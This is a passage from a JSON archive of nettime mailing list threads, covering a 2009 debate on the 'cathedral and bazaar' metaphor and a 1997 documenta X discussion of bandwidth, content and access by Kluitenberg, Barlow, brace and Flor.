is\n  the textbook knowledge of every computer science student; Wikipedia\n  nowadays insists, in its angst-ridden compliance to culturally \n  conservative Wikipedia-bashing, on print publication references for\n  everything that is claimed in a Wikipedia article), and \"open\n  collaboration\" is not a magic bullet. \n\n  Mail Art may again serve as a good example, because it was so obsessed\n  with egalitarianism that participation implied to never reject other\n  people's project contributions although the phenomenon of \"junk mail\"\n  was common and deplored even in the 1970s and 80s.\n \n\nIt should be noted, in case you're not familiar yet with Raymond's ultra\nright-wing libertarian political background, that he chose metaphors of\nthe \"bazaar\" versus the \"cathedral\" quite on purpose - referring to a\nfree market model versus regulated production.\n\n> I believe we need to get art out of its Cathedral ? \n\nIt is certainly true that art, inasmuch we speak of the contemporary\n(visual) art system, is still feudalist in its structure. It is the only\nof the modern arts whose economy is firmly based on the notion of one\nmaterial fetish object, with reproduction (unlike in books, music\nrecords, films, software) being merely a second-rate, plebeian\nillustration of the \"original\". Its sponsors are the modern successors\nto the old feudal authorities; back then, the church and the courts,\nnowadays rich people as the new aristocrats and, through its grants and\nsubsidies, the state as the authority that has replaced the church.\n\n-F\n\n-- \nblog:     http://en.pleintekst.nl\nhomepage: http://cramer.pleintekst.nl:70\n          gopher://cramer.pleintekst.nl\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "to": "nettime-l {AT} kein.org",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0902/msg00011.html",
                        "list": "nettime_l",
                        "author_name": "Florian Cramer",
                        "subject": "Re: <nettime> the ?Cathedral? and the ?Bazaar??",
                        "from": "lorian Cramer <fc-nettime {AT} pleintekst.nl>",
                        "follow-up": [
                            {
                                "from": "John Young <jya {AT} pipeline.com>",
                                "content": "It should be noted that \"open source\" has been appropriated by\nthe spy-media-education industry as an asymmetrical method \nfor taking from open sources but not giving back, instead \nclassifying putting within password-gated campuses the open\nsource material in order to obscure that the filchers have a\npecuniary interest in freely cultivated goodies. \n\nSo say the SMEs and their beneficiary contractors in their openly \nproclaimed suck-you fuck-you policy to advertise for adjunct-academic \nand edu-start-ups to participate in (get bribe money for) in national \nsecurity (spit) national patriomny (spit) endeavors, hand out a few \ncontracts to the willingly witting desperately-seeking down but not\nout bazaarists, and shut-out the disfavored with cathredral-like \nsecrecy (tenure) orders, learning from the churches and banks \nto profess unction for believers and tithers while gathering wealth \nfor the belly laughers of TARP for the top.\n\nBill Gates himself did that, preached that, as did Steve Jobs.\nIt is the golden egg luring millions to the openly promise \nmedals of freedom from merciless religion of higher pecking order\neducation then reap the profits when the bloodsucked students \nare dunned for ursurous loan-repayments into the skyhigh-paid \nadmins' baskets. Consider Wikipedia and a host of like openers \nsavaging of contributed labor, abetted by herds of martinets\nenforcing just what can be reputably (spit) published.\n\nNet non-profits (spit) are no different than the others in bait and\nswitch via oh so weary rules of engagement for the unruly. Extreme \nunctuousity is bedevilment with strapped-on angel wings.\n\nNow, for free my gang offers surefire immortality and depthless\nwisdom, PayPal us $100 for the top secret URL at golden-egg.\ndomain. Don't believe anything else, motley fool.\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00013",
                                "date": "Sun, 08 Feb 2009 11:33:05 -0500",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "E1LWCaf&#45;0003RD&#45;00 {AT} pop03.mail.atl.earthlink.net",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-0902/msg00013.html",
                                "content-type": "text/plai",
                                "author_name": "John Young",
                                "subject": "Re: <nettime> the ?Cathedral? and the ?Bazaar??"
                            }
                        ],
                        "message-id": "20090207161742.GS3572 {AT} hp.localdomain",
                        "date": "Sat, 7 Feb 2009 17:17:42 +0100",
                        "content-type": "text/plai"
                    },
                    {
                        "from": "John Young <jya {AT} pipeline.com>",
                        "content": "It should be noted that \"open source\" has been appropriated by\nthe spy-media-education industry as an asymmetrical method \nfor taking from open sources but not giving back, instead \nclassifying putting within password-gated campuses the open\nsource material in order to obscure that the filchers have a\npecuniary interest in freely cultivated goodies. \n\nSo say the SMEs and their beneficiary contractors in their openly \nproclaimed suck-you fuck-you policy to advertise for adjunct-academic \nand edu-start-ups to participate in (get bribe money for) in national \nsecurity (spit) national patriomny (spit) endeavors, hand out a few \ncontracts to the willingly witting desperately-seeking down but not\nout bazaarists, and shut-out the disfavored with cathredral-like \nsecrecy (tenure) orders, learning from the churches and banks \nto profess unction for believers and tithers while gathering wealth \nfor the belly laughers of TARP for the top.\n\nBill Gates himself did that, preached that, as did Steve Jobs.\nIt is the golden egg luring millions to the openly promise \nmedals of freedom from merciless religion of higher pecking order\neducation then reap the profits when the bloodsucked students \nare dunned for ursurous loan-repayments into the skyhigh-paid \nadmins' baskets. Consider Wikipedia and a host of like openers \nsavaging of contributed labor, abetted by herds of martinets\nenforcing just what can be reputably (spit) published.\n\nNet non-profits (spit) are no different than the others in bait and\nswitch via oh so weary rules of engagement for the unruly. Extreme \nunctuousity is bedevilment with strapped-on angel wings.\n\nNow, for free my gang offers surefire immortality and depthless\nwisdom, PayPal us $100 for the top secret URL at golden-egg.\ndomain. Don't believe anything else, motley fool.\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00013",
                        "date": "Sun, 08 Feb 2009 11:33:05 -0500",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "E1LWCaf&#45;0003RD&#45;00 {AT} pop03.mail.atl.earthlink.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0902/msg00013.html",
                        "content-type": "text/plai",
                        "author_name": "John Young",
                        "subject": "Re: <nettime> the ?Cathedral? and the ?Bazaar??"
                    }
                ],
                "message-id": "c7d5751ea53bf8f8e4754c85828eb6ca {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                "date": "Sun, 1 Feb 2009 13:46:55 -0000",
                "content-type": "text/plai"
            }
        ],
        "desc": "..."
    },
    "We want bandwidth": {
        "lists": [
            {
                "id": "00044",
                "content": "\nDear nettimers,\n\nHere is the latest content production from the Bandwidth Workspace in Kassel:\n\nContact:\nURL:  www.documenta.de/workspace & www.waag.org/bandwidth\nEMAIL:  bandwidth {AT} waag.org\n\n-----------------------------\n\n\nBandwidth and Content\n\nIn the context of the 'We Want Bandwidth!' workshop\n {AT}  Hybrid Workspace, documenta x - Kassel, July 12, 1997.\n\nOn the threshold of the era of high-capacity connectivity we (our group in\nKassel) is investigating the demand for more bandwidth. That demand of\ncorporate, state, individual and activist players in the Net game, which in\na collective form we have called 'The Push for more Bandwidth'. At this\nmoment we are still very much immersed in the questions of the distribution\nof bandwidth, geophysically and within a given society, the question who\nowns the bandwidth, and who will be the virtual stakeholders in the\nbandwidth of the future, the ratio between the bandwidth of institutional\nand private connectivity, and so forth.\n        All these questions point out important, if not crucial, problems\nin the present as much as in the future. One question that we have not yet\naddressed is that of the relationship between bandwidth and content, i.e.\nthe kind of communications the digital infrastructure can carry and will be\nable to carry in the not so distant future. There is a significant relation\nbetween the availability of bandwidth and the kind of content that the\ninformation infrastructure allows for. There also is, however, an even more\nimportant but less obvious relationship between the increasing bandwidth of\nmainstream connections and the marginalisation of certain types of content\nproduction for the networking structures.\n\nFirst of all this problem cannot be reduced to a simple position in favour\nor against the expansion of bandwidth. High bandwidth connections will\nenable certain empowering practices, while at the same time they threaten\nto marginalise others.\n\nThe special PUSH Media bulletin in Wired Magazine outlined a future of\nnetworked media that relies very much on a further development of\nhigh-bandwidth connectivity. The outdated future of the web was over, the\nfuture of hybrid communications was what the new future was all about, at\nleast it was that month, according to Wired. Leaving the sales-rhetorics of\nWired aside for a moment, quite an interesting model was presented in the\nbulletin; a hybrid interconnected networking structure that offers familiar\nservices such as e-mail, the web, news groups, etc., combined with a highly\ndiverse set of broad/narrow/point cast information and entertainment\nservices, generically coined as PUSH Media (media that push content towards\nthe consumer, rather than the consumer 'pulling' it in themselves). The\nhybrid nature of the structure is constituted by the combination of\nfamiliar models from the old broadcasting systems (such as radio and\ntelevision), where a pre-fabricated info-product is offered to a periphery\nof consumers, and an interconnected digital support structure which\nexploits the potential of digital networking to create much more\ndiversified models of distribution.\n\nBroadcast inherited much of the rigid 'phalanx' like structure of\nindustrial production. Bulk produced in a linear fashion, marketed\naccording to the traditional production / sale / consumption split,\ndistributed via standardised channels that allow for profitable economies\nof scale. Digital networking instead offered a model of ultimate\nflexibility, where any conceivable model of distribution could\ntheoretically be made feasible, but which offered only extremely\nconstrained possibilities for the transfer of image and sound, and\nconsequently only functioned well as a (written) text medium. With rapidly\nevolving high-bandwidth connections the fusion of the two offers itself as\na new perspective. The idea is not simply to create a broad- or narrow cast\nsystem that will enable consumers to react to the offerings. Rather,\nendless new forms of tailored, made to measure, special interest\ntele-casting can be conceived of.\n\nBroadcast implies a large homogenous group of consumers, mostly in a\nlocalised geophysical region (a country, a city or an area). The need to\nmeet the demand of a greater audience implies the need to tune the program\nto the lowest common denominator in terms of complexity and content. Narrow\ncasting more subtly tries to address specific audiences, but was almost\nnecessarily a marginal practice given the limited availability of bandwidth\nfor tele-communications in general. Pointcasting was economically not\nviable, because of the costs of infrastructure and production.\nHigh-bandwidth digital networks eradicate these old categories:\n- programs can be produced for specialised audiences, which because they\nmay be distributed world wide can still be of substantial economic\ninterest.\n- High value added services can be offered on subscription to a finite\nnumber of users and thereby become commercially interesting.\n- Social and cultural information for marginal groups can exploit the\npossibilities of digital narrow-casting models to send out their messages,\npotentially world wide.\n- Pointcasting can be made viable by the fact that individual users can\naccess the information, service or program in their own time, while access\nno longer needs to be limited to a certain time or place, much like the\ntraditional web operates right now, but the type of content can be\ndifferent (i.e. video and audio footage, music, interactive multimedia\nprograms and services, etcetera), while the means of production of content\nhave become dramatically cheaper.\n- The potential of broadcasting to bind a large group into a process of\nsimultaneous cognitive processing (as McLuhan has described television) can\nstill be maintained, as broadcasting of live and/or recorded programs can\nstill be supported by this digital infrastructure.\nThe overall picture of PUSH media just means that the digital networking\nstructure becomes a hybrid of interactive and tele-casted forms of content\ndistribution. As radio and television are slowly turning digital, the Net\nis moving closer to the classical models of mass media.\n\nThe idea of PUSH media has been criticised heavily as a threat to the\nhorizontal and open structure of the Net as it has existed in the 90s so\nfar. This is not all obvious, as it is easy and to some extent justified to\nmaintain that the new fusion of mass tele-casting and networking can be\nexploited as an empowering practice for marginalised expression of culture\nand society, which it could do. Yet another dangerous effect could be the\nmarginalisation of existing and flourishing forms of content production and\ndistribution on the Net.\n        The problem is threefold. Within those regions of the earth where\nbandwidth is expanding rapidly the big players in the media and\nentertainment industry are much better equipped to seize the larger part of\nthe audience, with well designed, engaging programs and services. In the\ncurrent low-bandwidth structure of the Net, the focus is directed at\ncontent and interest. Rather than providing content for a wide general\naudience, the Net producers try to address special interests of Net users,\nas the interest is what spurs the users into action, not so much the design\nof the structure. In the world of high-bandwidth connections the design of\nthe service, program or content provided will determine much stronger\nwhether or not that offering will reach its audience. Marginal groups in\nculture and society are generally not well equipped to deal with this new\nsituation and they are certainly no match for the highly professional\ncommercial media conglomerates.\n        A second aspect is the communicative dimension of the Net. Aside\nfrom its function as a content distribution medium, the Net is primarily a\ncommunications medium. The Net supports personal communications such as\ne-mail, but also offers more public forms of interaction and communication,\nsuch as MUDs and MOOs, virtual environments shared by multiple users\nsimultaneously, and chat lines offering virtual text conversations between\ntwo or more persons. Low bandwidth connections focused attention very\nstrongly on this communicative dimension of the Net. Because of what the\nNet had to offer for itself was not so much (in the classic form ASCII text\nexchange) the interest had to be found outside the Net, in the people\ncommunicating on-line. With the advent of multimedia on-line the passive\nrole of the entertainment consumer is given precedence over that of the\nactive communicator, on-line cultures may be directly under threat because\nof this.\n        The third, and undoubtedly still the most important problem is that\nof bandwidth distribution. Because bandwidth was low, content,\ncommunication, special interest and access could be high. As more and more\ncontent migrates to higher bandwidths, less and less will be available to\nlow bandwidth regions and users. The equal distribution therefore directly\ninterferes with the quality of content distribution and interaction across\nthe social and geo-physical divides, and only a more equal distribution of\navailable bandwidth can ensure the long-term quality improvement of\ncontent, which relies on access for all.\n\nEric Kluitenberg\nKassel, July 14, 1997.\n\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "to": "nettime-l {AT} Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9707/msg00044.html",
                "list": "nettime_l",
                "author_name": "Eric Kluitenberg",
                "subject": "<nettime> Bandwidth and Conten",
                "from": "eric {AT} media-gn.nl (Eric Kluitenberg)",
                "follow-up": [
                    {
                        "follow-up": [
                            {
                                "from": "{ brad brace } <bbrace {AT} netcom.com>",
                                "content": "\nOn Mon, 14 Jul 1997, John Perry Barlow wrote:\n\n[...]\n\n> That said, I do believe that although the currency of the future is\n> attention, and it will often be expressed and traded as bandwidth. People\n> will fight over bandwidth as they have fought over money, sex, power,\n> water, drugs, or any of the other things of which it could be said that\n> \"the more you have, the shorter it feels.\"\n\nI'd say, the currency is 'scale of belief.'\n\n> Social inequity, except in the most desperate conditions, is often more a\n> matter of perceived unfairness of distribution than a survival need for the\n> goods being distributed. In the places I've been where *everybody* is poor\n> and where there are no televisions to taunt the natives with the \"good\n> life\" in \"Dallas\" or \"Santa Barbara,\" the general level of contentment\n> seems higher than anywhere I go in America. But the moment they become\n> aware of how much \"more\" other humans have, the riots begin.\n\nThe rich nations of the world are acting like ancient usurers, lending\nmoney to the desperate poor on terms that cannot possibly be met and,\nthus, steadily acquiring more and more control over the lives and assets\nof the poor. \n\n> Perhaps the greatest favor we could grant the unwired world would be to\n> encourage them not to chain themselves to the never-ending desire for more.\n\nThe global revolution really runs itself. It has turned upon its original\nsponsors and ensnared them in a circle of bad choices, trapped between the\nold politics of the twentieth century and the new economics of globalized\nfinance. The wealthiest industrial societies, the very ones that first\npromoted the globalization of commerce, find themselves governed now by\nunforgiving imperatives from the capital market -- a commandment to\nundertake a forced march to reduce living standards for their own\ncitizens, discard old political commitments to social equity and reduce\nbenefit systems for pensions, health care, income support and various\nforms of ameliorative aid. \n\nIf governments resist, they face recurring financial crisis. If\ngovernments comply, the social aggravations will be deepened and an era of\ndivisive, reactionary politics is likely to flourish. One way or another,\nthe societies that fostered the global revolution are going to be punished\nfor their great and grandiose ambitions. (WG)\n\n\n--\n\n{ brad brace }  <<<< bbrace {AT} netcom.com >>>>  ~finger for pgp\n\nThe_12hr-ISBN-JPEG_Project      ftp.netcom.com/pub/bb/bbrace\n  continuous hypermodern       ftp.teleport.com/users/bbrace\n      imagery online          ftp.rdrop.com/pub/users/bbrace\n       all-the-time        ftp.pacifier.com/pub/users/bbrace\n--\nUsenet-news: alt.binaries.pictures.12hr/ a.b.p.fine-art.misc\nMailing-list: listserv {AT} netcom.com / subscribe 12hr-isbn-jpeg\nReverse Solidus: http://www.teleport.com/~bbrace/bbrace.html\n\n--\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                                "id": "00052",
                                "date": "Tue, 15 Jul 1997 07:45:46 -0700 (PDT)",
                                "to": "nettime-l {AT} Desk.nl",
                                "message-id": "Pine.3.89.9707150754.A24325&#45;0100000 {AT} netcom10",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-9707/msg00052.html",
                                "content-type": "text/plai",
                                "author_name": "{ brad brace }",
                                "subject": "Re: <nettime> Bandwidth and Conten"
                            }
                        ],
                        "from": "John Perry Barlow <barlow {AT} eff.org>",
                        "content": "\nAt 10:11 AM -0400 7/14/97, Eric Kluitenberg wrote:\n\n>\n>Bandwidth and Content\n>\n>In the context of the 'We Want Bandwidth!' workshop\n> {AT}  Hybrid Workspace, documenta x - Kassel, July 12, 1997.\n\n\nThank you for a very thoughtful and concise statement, with which I agree\nin nearly every particular. (I hope this doesn't tarnish your reputation\nwith other Nettimers...)\n\nI do take small issue with a couple of points.\n\nFirst, I have yet to see much evidence that\n\n>Within those regions of the earth where\n>bandwidth is expanding rapidly the big players in the media and\n>entertainment industry are much better equipped to seize the larger part of\n>the audience, with well designed, engaging programs and services.\n\nWhile this is certainly true in theory, it fails to take into account the\ncultural difficulties that large \"industrial\" media organizations encounter\nwith the culture of the Net - and, though it comes in many local flavors, I\nbelieve that Cyberspace has a discernible culture and will continue to.\n\nIn any event, I can't think of a single Web initiative by an existing media\ngiant that isn't massively hemorrhaging investment capital. I think\ncompanies like Time Warner and Disney are about as likely to control\nwebcasting as the steamship and railroad companies were to seize the infant\nair transport industry.\n\nSecondly, while there is a rough correlation between bandwidth and\nattention, they are not the same. As Nicholas Negroponte pointed out, a\nwink is only one bit. This is why e-mail continues to be overwhelmingly\ntext based despite the ability of many systems to easily carry voice and\nvideo messages. (I have a NeXTcube that could easily incorporate voice into\na message clear back in 1989. Most NeXT users never sent more than about\nfive voice messages, even though we generally had plenty of bandwidth and\nstorage at our disposal.)\n\nIn other words, I would reckon that e-mail, by far the largest component of\nNet traffic, will remain largely text-based for the rest of my life.\nIndeed, one of the most prolific and visible Net posters and e-mailists I\nknow is a former CIA analyst who still uses the same IBM XT and 2400 baud\nmodem he bought back in 1985. He could afford far more, but he likes the\ndiscipline required by these limitations. And indeed, they are not so\nlimiting. Would Das Kapital have been more influential had it contained a\ngig or so of QuickTime clips?\n\nThat said, I do believe that although the currency of the future is\nattention, and it will often be expressed and traded as bandwidth. People\nwill fight over bandwidth as they have fought over money, sex, power,\nwater, drugs, or any of the other things of which it could be said that\n\"the more you have, the shorter it feels.\"\n\nSocial inequity, except in the most desperate conditions, is often more a\nmatter of perceived unfairness of distribution than a survival need for the\ngoods being distributed. In the places I've been where *everybody* is poor\nand where there are no televisions to taunt the natives with the \"good\nlife\" in \"Dallas\" or \"Santa Barbara,\" the general level of contentment\nseems higher than anywhere I go in America. But the moment they become\naware of how much \"more\" other humans have, the riots begin.\n\nPerhaps the greatest favor we could grant the unwired world would be to\nencourage them not to chain themselves to the never-ending desire for more.\n\n\n\n\n\n\n\n\n****************************************************************\nJohn Perry Barlow, Cognitive Dissident\nCo-Founder, Electronic Frontier Foundation\n\nHome(stead) Page: http://www.eff.org/~barlow\n\nMegaPhone: 800/654-4322\n\nBarlow in Meatspace Today: Philadelphia 215/563-1600\n\nComing soon to: Philadelphia 7/14-16, New York City 7/17-18, Cambridge, MA\n7/18-20, New York City, 7/20-27, London 7/27-31, The Dark Continent...\n\n*****************************************************************\n\nWhen a man is wrapped up in himself he makes a pretty small package.\n\n                                       --John Ruskin\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                        "id": "00049",
                        "date": "Mon, 14 Jul 1997 23:14:21 -0400",
                        "to": "eric {AT} media-gn.nl (Eric Kluitenberg)",
                        "message-id": "v0310280baff091689015 {AT} [153.35.152.157]",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9707/msg00049.html",
                        "content-type": "text/plai",
                        "author_name": "John Perry Barlow",
                        "subject": "Re: <nettime> Bandwidth and Conten"
                    },
                    {
                        "from": "{ brad brace } <bbrace {AT} netcom.com>",
                        "content": "\nOn Mon, 14 Jul 1997, John Perry Barlow wrote:\n\n[...]\n\n> That said, I do believe that although the currency of the future is\n> attention, and it will often be expressed and traded as bandwidth. People\n> will fight over bandwidth as they have fought over money, sex, power,\n> water, drugs, or any of the other things of which it could be said that\n> \"the more you have, the shorter it feels.\"\n\nI'd say, the currency is 'scale of belief.'\n\n> Social inequity, except in the most desperate conditions, is often more a\n> matter of perceived unfairness of distribution than a survival need for the\n> goods being distributed. In the places I've been where *everybody* is poor\n> and where there are no televisions to taunt the natives with the \"good\n> life\" in \"Dallas\" or \"Santa Barbara,\" the general level of contentment\n> seems higher than anywhere I go in America. But the moment they become\n> aware of how much \"more\" other humans have, the riots begin.\n\nThe rich nations of the world are acting like ancient usurers, lending\nmoney to the desperate poor on terms that cannot possibly be met and,\nthus, steadily acquiring more and more control over the lives and assets\nof the poor. \n\n> Perhaps the greatest favor we could grant the unwired world would be to\n> encourage them not to chain themselves to the never-ending desire for more.\n\nThe global revolution really runs itself. It has turned upon its original\nsponsors and ensnared them in a circle of bad choices, trapped between the\nold politics of the twentieth century and the new economics of globalized\nfinance. The wealthiest industrial societies, the very ones that first\npromoted the globalization of commerce, find themselves governed now by\nunforgiving imperatives from the capital market -- a commandment to\nundertake a forced march to reduce living standards for their own\ncitizens, discard old political commitments to social equity and reduce\nbenefit systems for pensions, health care, income support and various\nforms of ameliorative aid. \n\nIf governments resist, they face recurring financial crisis. If\ngovernments comply, the social aggravations will be deepened and an era of\ndivisive, reactionary politics is likely to flourish. One way or another,\nthe societies that fostered the global revolution are going to be punished\nfor their great and grandiose ambitions. (WG)\n\n\n--\n\n{ brad brace }  <<<< bbrace {AT} netcom.com >>>>  ~finger for pgp\n\nThe_12hr-ISBN-JPEG_Project      ftp.netcom.com/pub/bb/bbrace\n  continuous hypermodern       ftp.teleport.com/users/bbrace\n      imagery online          ftp.rdrop.com/pub/users/bbrace\n       all-the-time        ftp.pacifier.com/pub/users/bbrace\n--\nUsenet-news: alt.binaries.pictures.12hr/ a.b.p.fine-art.misc\nMailing-list: listserv {AT} netcom.com / subscribe 12hr-isbn-jpeg\nReverse Solidus: http://www.teleport.com/~bbrace/bbrace.html\n\n--\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                        "id": "00052",
                        "date": "Tue, 15 Jul 1997 07:45:46 -0700 (PDT)",
                        "to": "nettime-l {AT} Desk.nl",
                        "message-id": "Pine.3.89.9707150754.A24325&#45;0100000 {AT} netcom10",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9707/msg00052.html",
                        "content-type": "text/plai",
                        "author_name": "{ brad brace }",
                        "subject": "Re: <nettime> Bandwidth and Conten"
                    }
                ],
                "message-id": "v02130502afefdd064c55 {AT} [194.120.67.181]",
                "date": "Mon, 14 Jul 1997 15:11:54 +0100",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "h0444ygr {AT} rz.hu-berlin.de (micz flor)",
                "id": "00053",
                "content": "\nBandwidth and the Deceiving Beauty of the Interface\n\n1997, Micz Flor\n[contrib. for bandwidth  {AT}  workspace {AT} documenta.de]\n\nWhere bandwidth defines the ground to build on the interface \nbecomes the architecture (and compression the construction \nwork).\n\nWith the problem of the global pipelines being the limitation \nof bandwidth comes a new problem to the browser near you... \nTo deal with limited bandwidth means to rely on compression. \nWYSIWYG is what the screen displays. The product on the end \nof the line is what the machine (i.e. computer) constructs \nfor you.\n\nBroadcasting on the net means to think of effective ways to \nreduce the amount of information. Spot the paradox: the more \nredundancy you find in the original information the more of \nthe information can be sent at a given period of. This is one \nway of dealing with information. Jpeg comes to mind, real \naudio, or the trend to use black and white gifs instead of \nfull colour. Compression on that level is always a \ncompromise. How close can you get to the 'real thing'? \n\nThe other way is trying to explain to the machine what the \n'real thing' is - without sending any particular or specific \ninformation about it. HTML works along these lines (version \n1.0 - in the land of no tables and noframes). VRML does the \nsame thing. The information which needs to be brought across \nis reduced to the idea behind the 'thing'. Instead of \ntransporting the complete information of a cube one only \nneeds to transmit the command to built a cube. Control files \nof that kind can get away with low bandwidth and maximum \nconsumer pleasure at the other end - given the fact the plug \nin works... The solution becomes a philosophical challenge. \nHow many 'things' is the 'real thing'? (cross-platform \ncompatibility is the key word - the relation between the \nworld, perception, cognition and cross-platform applications \ngoes beyond evolutionary philosophy...). What we rely on is \nthe appropriate reconstruction of information.\n\nOn-line: compression is the aesthetic prosthesis of \ninformation. In the context of mutual influence between the \napplication and the compression it establishes an aesthetic \non its own. \n\nBeauty is in the control files of the beholder and vectors \nbecome the personal style of the producer. Following the \nobservation that computer based text editing is a writing \ntool which does not produce 'one' text but many texts (of \nwhich at any time one is the most recent 'one'), we might \nthink that this multi-version chaos is over once we decide to \ncall it a day and publish the latest version. ...only to find \nthat we are facing another chaos. \n\nThe act of distribution relies on compression and creates a \nsituation in which the so called final and distributed \nversion again becomes 'many texts'. What is being broadcasted \nis a file with instructions of how to create the display of \ninformation at the other end. And there is only limited \ncontrol over that process. There an amount of trust on either \nside of the line. The sender transfers his/her product in a \nform which can be expanded, extracted or constructed at the \nother end. The receiver relies on the capacity of it's tool \n(i.e. computer) to expand, extract or construct the \ninformation without losing any of the content. \n\nAt first sight this seems to be a 'design' problem but in fact \nit is a content problem. The Hybrid WorkSpace page itself \nwith it's Java applets and frames is only one example of a \ncontent based project which relies on the process of coding \nand decoding. (It has been tested for many browsers, but how \ncan one be sure? There is as many uncertainties as there is \nbrowsers.) Many times this effect is consciously used by \nprojects dealing with disinformation or negative interaction. \nCheck the source files.\n\nThe browser is a device constructed to make the problems and \nlimitations of bandwidth invisible. And by being such an \n'active' device it also blanks out parts which it either does \nnot understand or does not want to understand or is not \nallowed to show. The control of the control file has an \nimpact on the information. At that stage the surface reveals \nthe interface. Just like the sudden pause in the real audio \ntransmission the lack of information is the emergence of the \ninterface. Is the nature of the medium?\n\nThe problem: WYSIWYG is an idealised axiom which might even \nderive from the intention of the French or American \nrevolution. The browser is an application which tries to make \nus believe to be the same. But: what you see is what your \noperating system, your browser and your plug ins understand - \nand if you are lucky that is what you were intended to get. \n\nCompression is the content prosthesis of information on the \nnet. In the context of mutual influence between the \napplication and the compression it establishes a content on \nits own. \n\n                      \n            C=C:\\ \n           / \\    \n          *   *.TXT\n       __/     \\\n      /  \\      0=0\n      \\__/\n         \\\n          http://www.b.shuttle.de/art-bag/CyberTattoo\n\n22,Walton House      -  http://www.documenta.de/workspace\nOld Nichol Street    -  workspace {AT} documenta.de\nLondon E2 7ET        -  tel: +49.561.108890\ntel: +44.171.7296014 -  fax: +49.561.108889\nfax: +44.171.6134052 -\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "date": "Wed, 16 Jul 1997 12:18:46 +0100",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199707161112.MAA17540 {AT} basis.Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9707/msg00053.html",
                "list": "nettime_l",
                "author_name": "micz flor",
                "subject": "<nettime> Bandwidth and the Deceiving Beauty of the Interfa"
            },
            {
                "id": "00068",
                "content": "\nWE WANT BANDWIDTH!\n\nA public research by De Waag - the Society for Old and New Media from\nAmsterdam  {AT}  Hybrid Workspace\ndocumenta X, Kassel 8 - 17 July 1997.\n\nFAQ\nFrequently Asked Questions about Bandwidth\n\n# What is Bandwidth?\n\nband. with n (ca. 1937) 1: a range within a band of wavelengths,\nfrequencies, or energies; esp: a range of audio frequencies which is\noccupied by a modulated carrier wave, which is assigned to a service, or\nover which a device can operate\n2: the data transfer rate of an electronic communications system\n(Webster Dictionary)\n\n\nBANDWIDTH IS THE CURRENCY OF THE INFORMATION SOCIETY\n\n\n# What is the Currency of Bandwidth?\n\nbps = bits per second\nKbps = 1024 * bps (kilobits per second)\n\nAt the Hybrid Workspace 128 Kbps of connectivity is available.\nThis equals the total bandwidth of the entire academic network of Romania,\nwhich is also 128 Kbps of connectivity.\n\n\nEQUAL ACCESS FOR ALL\n\n\nThe Bandwidth applications are broadening the gap between the information\nrich and the information poor\n\n# What is an Internet node?\n\nA communications network transfers data from source to destination through\na series of network nodes.\n\n\nCountry: / Number of Nodes: / Inhabitants per Node:\n\nNetherlands  /  270.521  / 57\nGermany   /  721.847  / 115\nJapan  /  734.406  /  170\nRomania  /  8205  /  2600\nIndia  /  3138  /  300.000\nCameroon nodes:  0\n\n# What is a back bone?\n\nback. bone n (14c) 1: spinal column, spine 2: something that resembles a\nbackbone: as a: a chief mountain ridge, range, or system b: the foundation\nor most substantial or sturdiest part of something c: the longest chain of\natoms or groups of atoms in a usu. long molecule (as polymer or protein) 3:\na firm and resolute character 4: spine 1c\n(Webster Dictionary)\n\nInternet network backbones are owned by the large telecom operators. There\nis a continuous process of the concentration of power. The largest Internet\nconnectivity provider of the world, UUNet Technologies, owns most of the\ninfrastructure of Europe: EUnet. National EUnet-subsidiaries like EUnet\nGermany have been bought in the last years by UUNET. UUNET is based in\nVirginia, USA, 40% of its stock capital is owned by Microsoft corporation.\n\n\nTHE MORE CHANNELS THE LESS OWNERS\n\n\n# Why is 